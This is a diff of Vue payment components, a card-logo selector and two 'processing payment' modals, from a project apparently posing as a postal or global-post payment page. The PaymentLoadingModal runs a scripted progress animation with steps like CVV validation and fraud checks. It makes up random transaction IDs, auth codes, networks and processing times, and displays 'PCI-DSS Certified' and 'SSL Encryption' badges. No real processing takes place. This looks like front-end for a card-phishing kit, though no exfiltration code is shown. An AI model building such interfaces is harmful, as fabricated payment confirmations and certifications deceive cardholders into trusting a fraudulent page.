|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
673
t_global_post_temp2/src/components/PaymentLoadingModal.vue
Normal file
@@ -0,0 +1,673 @@
|
||||
<template>
|
||||
<transition name="plm-fade">
|
||||
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
|
||||
<transition name="plm-slide">
|
||||
<div v-if="visible" class="plm-dialog" @click.stop>
|
||||
|
||||
<!-- Dialog Header -->
|
||||
<div class="plm-dialog-header">
|
||||
<div class="plm-header-left">
|
||||
<div class="plm-header-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
|
||||
<line x1="1" y1="10" x2="23" y2="10"></line>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="plm-header-text">
|
||||
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
|
||||
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
|
||||
</div>
|
||||
|
||||
<!-- Dialog Body -->
|
||||
<div class="plm-dialog-body">
|
||||
|
||||
<!-- Card + progress -->
|
||||
<div class="plm-center-wrap">
|
||||
<div class="plm-card-logo">
|
||||
<img :src="imgRef" alt="card" />
|
||||
<div class="plm-scan-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="plm-progress-section">
|
||||
<div class="plm-progress-track">
|
||||
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="plm-status-msg">
|
||||
<span class="plm-dot-pulse"></span>
|
||||
<span>{{ progressMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Security badges -->
|
||||
<div class="plm-badges">
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
|
||||
</svg>
|
||||
<span>{{ t("SSL Encryption") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
|
||||
</svg>
|
||||
<span>{{ t("PCI-DSS Certified") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
|
||||
</svg>
|
||||
<span>{{ t("Safe payment") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Transaction details -->
|
||||
<div class="plm-details" v-if="showDetails">
|
||||
<div class="plm-details-title">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
|
||||
</svg>
|
||||
{{ t("payment_loading.transaction_details") }}
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
|
||||
<span class="plm-detail-val">{{ transactionId }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
|
||||
<span class="plm-detail-val">{{ processingNetwork }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
|
||||
<span class="plm-detail-val">{{ processingTime }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
|
||||
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</transition>
|
||||
</div>
|
||||
</transition>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, watch, onUnmounted, computed } from "vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
import c9 from "@/assets/img/mir.jpg";
|
||||
import c10 from "@/assets/img/80066acd3fcfa.svg";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────
|
||||
interface Props {
|
||||
visible: boolean;
|
||||
cardNumber?: string;
|
||||
loading?: boolean;
|
||||
closable?: boolean;
|
||||
maskClosable?: boolean;
|
||||
autoClose?: boolean;
|
||||
autoCloseDelay?: number;
|
||||
}
|
||||
|
||||
interface Emits {
|
||||
(e: 'update:visible', value: boolean): void;
|
||||
(e: 'close'): void;
|
||||
(e: 'step-change', step: number): void;
|
||||
}
|
||||
|
||||
const props = withDefaults(defineProps<Props>(), {
|
||||
visible: false,
|
||||
cardNumber: "",
|
||||
loading: true,
|
||||
closable: true,
|
||||
maskClosable: true,
|
||||
autoClose: false,
|
||||
autoCloseDelay: 5000
|
||||
});
|
||||
|
||||
const emit = defineEmits<Emits>();
|
||||
|
||||
// ── State ──────────────────────────────────────────────────
|
||||
const progress = ref(0);
|
||||
const progressMessage = ref(t('payment_loading.preparing'));
|
||||
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
|
||||
const showSpinner = ref(false);
|
||||
const transactionId = ref('');
|
||||
const authCode = ref('');
|
||||
const processingNetwork = ref('');
|
||||
const processingTime = ref('');
|
||||
const securityLevel = ref(t('payment_loading.high'));
|
||||
const showDetails = ref(false);
|
||||
const imgRef = ref<string>(c8);
|
||||
const autoCloseTimer = ref<number | null>(null);
|
||||
|
||||
// ── Computed ───────────────────────────────────────────────
|
||||
const cardType = computed(() => {
|
||||
const num = props.cardNumber.replace(/\D/g, '');
|
||||
if (/^4/.test(num)) return 'VISA';
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
|
||||
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
|
||||
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
|
||||
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
|
||||
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
|
||||
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
|
||||
if (/^220[0-4]/.test(num)) return 'MIR';
|
||||
return 'Generic';
|
||||
});
|
||||
|
||||
// ── Progress steps ─────────────────────────────────────────
|
||||
const progressSteps = [
|
||||
{ threshold: 0, message: t('payment_loading.step_init') },
|
||||
{ threshold: 10, message: t('payment_loading.step_encrypt') },
|
||||
{ threshold: 20, message: t('payment_loading.step_connect') },
|
||||
{ threshold: 30, message: t('payment_loading.step_verify_card') },
|
||||
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
|
||||
{ threshold: 50, message: t('payment_loading.step_fraud') },
|
||||
{ threshold: 60, message: t('payment_loading.step_send') },
|
||||
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
|
||||
{ threshold: 80, message: t('payment_loading.step_process_resp') },
|
||||
{ threshold: 90, message: t('payment_loading.step_confirm') },
|
||||
{ threshold: 95, message: t('payment_loading.step_finalize') },
|
||||
{ threshold: 100, message: '' },
|
||||
];
|
||||
|
||||
// ── Functions ──────────────────────────────────────────────
|
||||
function getCreditCardType(type: string | null): string {
|
||||
if (!type) return c8;
|
||||
const u = type.toLocaleUpperCase();
|
||||
if (u.includes("VISA")) return c1;
|
||||
if (u.includes("MASTERCARD")) return c2;
|
||||
if (u.includes("JCB")) return c3;
|
||||
if (u.includes("CHINA UNION PAY")) return c4;
|
||||
if (u.includes("AMERICAN EXPRESS"))return c5;
|
||||
if (u.includes("DISCOVER")) return c6;
|
||||
if (u.includes("MAESTRO")) return c7;
|
||||
if (u.includes("DINNERS")) return c8;
|
||||
if (u.includes("MIR")) return c9;
|
||||
return c10;
|
||||
}
|
||||
|
||||
const generateTransactionDetails = (typeData: string) => {
|
||||
const type = typeData.toUpperCase();
|
||||
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
|
||||
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
|
||||
processingNetwork.value =
|
||||
type === 'VISA' ? t('payment_loading.network_visa') :
|
||||
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
|
||||
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
|
||||
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
|
||||
t('payment_loading.network_intl');
|
||||
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
|
||||
};
|
||||
|
||||
const animateProgress = () => {
|
||||
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
const breakpoints = [
|
||||
{ point: 20, delay: 700 },
|
||||
{ point: 40, delay: 500 },
|
||||
{ point: 70, delay: 1200 },
|
||||
{ point: 90, delay: 600 },
|
||||
];
|
||||
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
|
||||
|
||||
intervalId.value = setInterval(() => {
|
||||
const breakpoint = getBreakpoint();
|
||||
if (breakpoint) {
|
||||
const increment = Math.random() * 0.2;
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
setTimeout(() => {
|
||||
if (breakpoint.point === 70) showDetails.value = true;
|
||||
animateProgress();
|
||||
}, breakpoint.delay);
|
||||
return;
|
||||
}
|
||||
|
||||
let increment: number;
|
||||
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
|
||||
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
|
||||
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
|
||||
else increment = Math.random() * 0.3 + 0.05;
|
||||
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
|
||||
for (let i = progressSteps.length - 1; i >= 0; i--) {
|
||||
if (progress.value >= progressSteps[i].threshold) {
|
||||
progressMessage.value = progressSteps[i].message;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!props.loading) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
progress.value = 100;
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
}
|
||||
}, 300);
|
||||
};
|
||||
|
||||
const clearAutoCloseTimer = () => {
|
||||
if (autoCloseTimer.value) {
|
||||
clearTimeout(autoCloseTimer.value);
|
||||
autoCloseTimer.value = null;
|
||||
}
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
clearAutoCloseTimer();
|
||||
emit('update:visible', false);
|
||||
emit('close');
|
||||
};
|
||||
|
||||
const handleOverlayClick = () => {
|
||||
if (props.maskClosable) closeModal();
|
||||
};
|
||||
|
||||
// ── Watchers ───────────────────────────────────────────────
|
||||
watch(() => props.visible, (newVisible) => {
|
||||
if (newVisible) {
|
||||
const type = cardType.value || localStorage.getItem("cardType");
|
||||
imgRef.value = getCreditCardType(type);
|
||||
if (props.autoClose) {
|
||||
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
|
||||
}
|
||||
} else {
|
||||
clearAutoCloseTimer();
|
||||
}
|
||||
});
|
||||
|
||||
watch(() => props.loading, (isLoading) => {
|
||||
if (isLoading) {
|
||||
showSpinner.value = true;
|
||||
progress.value = 0;
|
||||
progressMessage.value = progressSteps[0].message;
|
||||
generateTransactionDetails(cardType.value);
|
||||
animateProgress();
|
||||
} else {
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
const completeProgress = () => {
|
||||
const currentProgress = progress.value;
|
||||
const step = Math.max((100 - currentProgress) / 10, 1);
|
||||
progress.value = Math.min(currentProgress + step, 100);
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
if (progress.value < 100) {
|
||||
intervalId.value = setTimeout(completeProgress, 10);
|
||||
} else {
|
||||
setTimeout(() => { showSpinner.value = false; }, 500);
|
||||
}
|
||||
};
|
||||
completeProgress();
|
||||
}
|
||||
}, { immediate: true });
|
||||
|
||||
// ── Lifecycle ──────────────────────────────────────────────
|
||||
onUnmounted(() => {
|
||||
clearAutoCloseTimer();
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
<style scoped>
|
||||
/* ===== Transitions ===== */
|
||||
.plm-fade-enter-active,
|
||||
.plm-fade-leave-active {
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
.plm-fade-enter-from,
|
||||
.plm-fade-leave-to {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.plm-slide-enter-active {
|
||||
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.plm-slide-leave-active {
|
||||
transition: opacity 0.2s ease, transform 0.2s ease;
|
||||
}
|
||||
.plm-slide-enter-from {
|
||||
opacity: 0;
|
||||
transform: translateY(20px) scale(0.97);
|
||||
}
|
||||
.plm-slide-leave-to {
|
||||
opacity: 0;
|
||||
transform: translateY(8px) scale(0.99);
|
||||
}
|
||||
|
||||
/* ===== Overlay ===== */
|
||||
.plm-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(30, 41, 59, 0.4);
|
||||
backdrop-filter: blur(8px);
|
||||
-webkit-backdrop-filter: blur(8px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
padding: 20px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
/* ===== Dialog ===== */
|
||||
.plm-dialog {
|
||||
width: 100%;
|
||||
max-width: 380px;
|
||||
background: #fff;
|
||||
border-radius: 18px;
|
||||
overflow: hidden;
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(148, 163, 184, 0.15),
|
||||
0 8px 24px -4px rgba(15, 23, 42, 0.12),
|
||||
0 32px 64px -16px rgba(15, 23, 42, 0.14);
|
||||
}
|
||||
|
||||
/* ===== Header ===== */
|
||||
.plm-dialog-header {
|
||||
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
|
||||
border-bottom: 1px solid #e8edf3;
|
||||
padding: 18px 20px 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.plm-header-left {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.plm-header-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
background: #fff;
|
||||
border: 1px solid #e2e8f0;
|
||||
border-radius: 10px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-header-icon svg {
|
||||
width: 17px;
|
||||
height: 17px;
|
||||
color: var(--global-primary-color, #4f7ef8);
|
||||
}
|
||||
|
||||
.plm-header-text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
.plm-header-title {
|
||||
color: #1e293b;
|
||||
font-size: 14px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1px;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
.plm-header-sub {
|
||||
color: #94a3b8;
|
||||
font-size: 11.5px;
|
||||
}
|
||||
|
||||
.plm-header-pct {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
color: var(#007BFF, #007BFF);
|
||||
letter-spacing: -0.5px;
|
||||
min-width: 44px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
/* ===== Dialog Body ===== */
|
||||
.plm-dialog-body {
|
||||
padding: 22px 20px 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
/* ===== Card + progress center ===== */
|
||||
.plm-center-wrap {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.plm-card-logo {
|
||||
width: 120px;
|
||||
height: 76px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
border-radius: 10px;
|
||||
background: #f8fafc;
|
||||
border: 1px solid #e8edf3;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-card-logo img {
|
||||
width: 72%;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.plm-scan-line {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -10%;
|
||||
width: 8px;
|
||||
height: 100%;
|
||||
background: rgba(255, 255, 255, 0.85);
|
||||
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
|
||||
animation: plm-scan 2.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-scan {
|
||||
0% { left: -10%; }
|
||||
100% { left: 110%; }
|
||||
}
|
||||
|
||||
/* ===== Progress ===== */
|
||||
.plm-progress-section {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.plm-progress-track {
|
||||
width: 100%;
|
||||
height: 4px;
|
||||
background: #e8edf3;
|
||||
border-radius: 99px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.plm-progress-fill {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg,
|
||||
var(--global-primary-color, #4f7ef8) 0%,
|
||||
#93c5fd 50%,
|
||||
var(--global-primary-color, #4f7ef8) 100%);
|
||||
background-size: 200% 100%;
|
||||
border-radius: 99px;
|
||||
transition: width 0.6s ease;
|
||||
animation: plm-shimmer 2.5s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-shimmer {
|
||||
0% { background-position: 200% center; }
|
||||
100% { background-position: -200% center; }
|
||||
}
|
||||
|
||||
/* ===== Status message ===== */
|
||||
.plm-status-msg {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 7px;
|
||||
font-size: 12.5px;
|
||||
color: #64748b;
|
||||
min-height: 18px;
|
||||
text-align: center;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-dot-pulse {
|
||||
display: inline-block;
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: var(--global-primary-color, #4f7ef8);
|
||||
flex-shrink: 0;
|
||||
animation: plm-pulse 1.6s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-pulse {
|
||||
0%, 100% { opacity: 1; transform: scale(1); }
|
||||
50% { opacity: 0.3; transform: scale(0.65); }
|
||||
}
|
||||
|
||||
/* ===== Divider ===== */
|
||||
.plm-divider {
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: #f1f5f9;
|
||||
}
|
||||
|
||||
/* ===== Security badges ===== */
|
||||
.plm-badges {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.plm-badge {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
color: #94a3b8;
|
||||
font-size: 10.5px;
|
||||
font-weight: 500;
|
||||
white-space: nowrap;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-badge svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
fill: #86efac;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-badge-sep {
|
||||
width: 1px;
|
||||
height: 10px;
|
||||
background: #e2e8f0;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Transaction details ===== */
|
||||
.plm-details {
|
||||
width: 100%;
|
||||
background: #f8fafc;
|
||||
border-radius: 12px;
|
||||
padding: 14px 16px;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #edf2f7;
|
||||
}
|
||||
|
||||
.plm-details-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
font-size: 10.5px;
|
||||
font-weight: 600;
|
||||
color: #94a3b8;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.8px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.plm-details-title svg {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
fill: #cbd5e1;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-detail-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 6px 0;
|
||||
font-size: 12.5px;
|
||||
border-bottom: 1px dashed #edf2f7;
|
||||
}
|
||||
|
||||
.plm-detail-row:last-child {
|
||||
border-bottom: none;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
.plm-detail-label {
|
||||
color: #94a3b8;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.plm-detail-val {
|
||||
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
|
||||
color: #475569;
|
||||
font-weight: 600;
|
||||
font-size: 11.5px;
|
||||
letter-spacing: 0.3px;
|
||||
max-width: 55%;
|
||||
text-align: right;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.plm-green {
|
||||
color: #22c55e;
|
||||
}
|
||||
</style>
|
||||
|
||||
223
t_global_post_temp2/src/components/PaymentModal.vue
Normal file
@@ -0,0 +1,223 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, watch } from 'vue';
|
||||
import { useI18n } from "vue-i18n";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
import c9 from "@/assets/img/mir.jpg";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
interface Props {
|
||||
cardNumber: string;
|
||||
showModal: boolean;
|
||||
}
|
||||
|
||||
interface Emits {
|
||||
(e: 'update:showModal', value: boolean): void;
|
||||
}
|
||||
|
||||
const props = defineProps<Props>();
|
||||
const emit = defineEmits<Emits>();
|
||||
|
||||
const price = 'Gs. 294.000';
|
||||
|
||||
const formattedPrice = computed(() => {
|
||||
return price.replace(/\.(\d{3})$/, '$1');
|
||||
});
|
||||
|
||||
const cardType = computed(() => {
|
||||
const num = props.cardNumber.replace(/\D/g, '');
|
||||
if (/^4/.test(num)) return 'Visa';
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'Mastercard';
|
||||
if (/^(62|81)/.test(num)) return 'UnionPay';
|
||||
if (/^3[347]/.test(num)) return 'Amex';
|
||||
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'Discover';
|
||||
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||
if (/^(30|36|38|39)/.test(num)) return 'DinersClub';
|
||||
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'Maestro';
|
||||
if (/^220[0-4]/.test(num)) return 'Mir';
|
||||
return 'Generic';
|
||||
});
|
||||
|
||||
// 监听 showModal,触发支付逻辑
|
||||
watch(
|
||||
() => props.showModal,
|
||||
(newVal) => {
|
||||
if (newVal && props.cardNumber) {
|
||||
|
||||
}
|
||||
}
|
||||
);
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="payment-modal1">
|
||||
<div v-if="showModal" class="modal1">
|
||||
<div class="modal1-content">
|
||||
<div class="card-logo">
|
||||
<img
|
||||
v-if="cardType === 'Visa'"
|
||||
:src="c1"
|
||||
alt="Visa"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Mastercard'"
|
||||
:src="c2"
|
||||
alt="Mastercard"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'UnionPay'"
|
||||
:src="c4"
|
||||
alt="UnionPay"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Amex'"
|
||||
:src="c5"
|
||||
alt="Amex"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Discover'"
|
||||
:src="c6"
|
||||
alt="Discover"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'JCB'"
|
||||
:src="c3"
|
||||
alt="JCB"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'DinersClub'"
|
||||
:src="c8"
|
||||
alt="Diners Club"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Maestro'"
|
||||
:src="c7"
|
||||
alt="Maestro"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Mir'"
|
||||
:src="c9"
|
||||
alt="Mir"
|
||||
/>
|
||||
<svg
|
||||
v-else
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 64 40"
|
||||
fill="none"
|
||||
stroke="#3498db"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
>
|
||||
<rect x="2" y="2" width="60" height="36" rx="4" fill="#f5f5f5" />
|
||||
<rect x="8" y="8" width="14" height="10" fill="#d4a017" />
|
||||
<path d="M8 23 h48" />
|
||||
<path d="M8 27 h32" />
|
||||
<path d="M8 31 h24" />
|
||||
<circle cx="50" cy="12" r="3" fill="#ccc" />
|
||||
</svg>
|
||||
</div>
|
||||
<h3 class="title">{{ t("Processing payment") }}</h3>
|
||||
<p class= "desc">{{ t("Please do not refresh or close the page") }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.payment-modal1 {
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.modal1 {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.modal1-content {
|
||||
background-color: white;
|
||||
padding: 50px 20px;
|
||||
border-radius: 8px;
|
||||
text-align: center;
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
|
||||
max-width: 300px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card-logo {
|
